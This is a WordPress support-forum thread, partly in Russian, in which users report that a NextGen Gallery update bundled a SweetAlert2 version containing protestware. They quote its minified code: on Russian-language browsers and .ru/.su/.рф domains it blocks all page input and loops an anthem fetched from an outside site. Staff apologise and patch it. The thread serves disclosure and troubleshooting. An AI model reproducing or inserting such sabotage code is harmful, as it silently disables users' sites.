Сторонний код и блокировка админки

Такая же проблема после обновления.

В js файлах плагина нашёл кусок кода, который воспроизводит гимн Украины на сайтах WP в доменах ru, su, by и рф.

&location.host.match(/.(ru|su|by|xn--p1ai)$/)&
...
var e=document.createElement("audio");e.src="https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3"

Подобный “сюрприз” в обновлении — полное безобразие!

@benjaminowens, please, pay attention to this problem

Imposible to work with Nextgen Gallery after upgrading to v 3.5.x

Do the NextGen use sweetalert script in admin panel?

https://github.com/sweetalert2/sweetalert2/issues/2552

Playing the Ukraine national anthem to the Russians doesn’t help anybody, the only thing that will come out of it – a lot of users will refuse to use Nextgen, bcoz they will not dig in source of problem and will blame the NextGen for it.

• This reply was modified 11 months, 3 weeks ago by Sonika.
• This reply was modified 11 months, 3 weeks ago by Sonika.

@arxtechnet @southklad
попробуйте пока сменить для админки браузер, например Edge

Hey @southklad @arxtechnet @sonika

Thank you for bringing this issue to our attention.

First, we’d like to apologize for the trouble here. Our team has investigated and found the issue is related to the specific SweetAlert library version our plugin references.

We’ve released an update that resolves this issue so if you’ll please update your plugin to the latest version then the issue should be resolved.

We appreciate your patience while we investigated this issue.

I apologize again for the trouble here!

Thanks!

@williamdersh Greetings, thanks for your participation, but as I see it, there is still code in the code that was before. They are in the files admin-min.min.js and admin-min.js , which means that this problem will still block the admin panel and embed the anthem!

f(typeof window!=="undefined"&&/^ru\b/.test(navigator.language)&&location.host.match(/\.(ru|su|xn--p1ai)$/)){var wa=new Date;var ha=localStorage.getItem("swal-initiation");if(!ha)localStorage.setItem("swal-initiation","".concat(wa));else if((wa.getTime()-Date.parse(ha))/(1e3*60*60*24)>3)setTimeout(function(){document.body.style.pointerEvents="none";var t=document.createElement("audio");t.src="https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3";t.loop=true;document.body.appendChild(t);setTimeout(function(){t.play()["catch"](function(){})},2500)},500)}r(t.prototype,pa),r(t,hn),Object.keys(pa).forEach(function(e){t[e]=function(){if(ma){var t;return(t=ma)[e].apply(t,arguments)}}}),t.DismissReason=f,t.version="10.16.7";var D=t;return D["default"]=D}(),void 0!==this&&this.Sweetalert2&&(this.swal=this.sweetAlert=this.Swal=this.SweetAlert=this.Sweetalert2),

• This reply was modified 11 months, 3 weeks ago by southklad.

Hey @southklad

Thanks for following up!

Our team investigated further and we believe the issue should be resolved now.

When you have a moment could you please try redownloading the plugin and installing the plugin again? We opted for making the change to the plugin directly as opposed to pushing another update.

Please let me know how it goes!

Thanks!

@williamdersh I’m sorry, but what changes did you make if the code still remained in the plugin, and along with the code, the mp3 file and other restrictions. While they’re there, I’m just afraid to install the updated version again.

@williamdersh I downloaded it again and checked, there are no more links to the mp3 file in the admin-min file, but it is still there in the admin-min.min file, please delete this code from there. Thanks

Hi @southklad,

Thanks for the report. While this JS is never used, our dev team will ensure that it is also fixed in the admin-min.min.js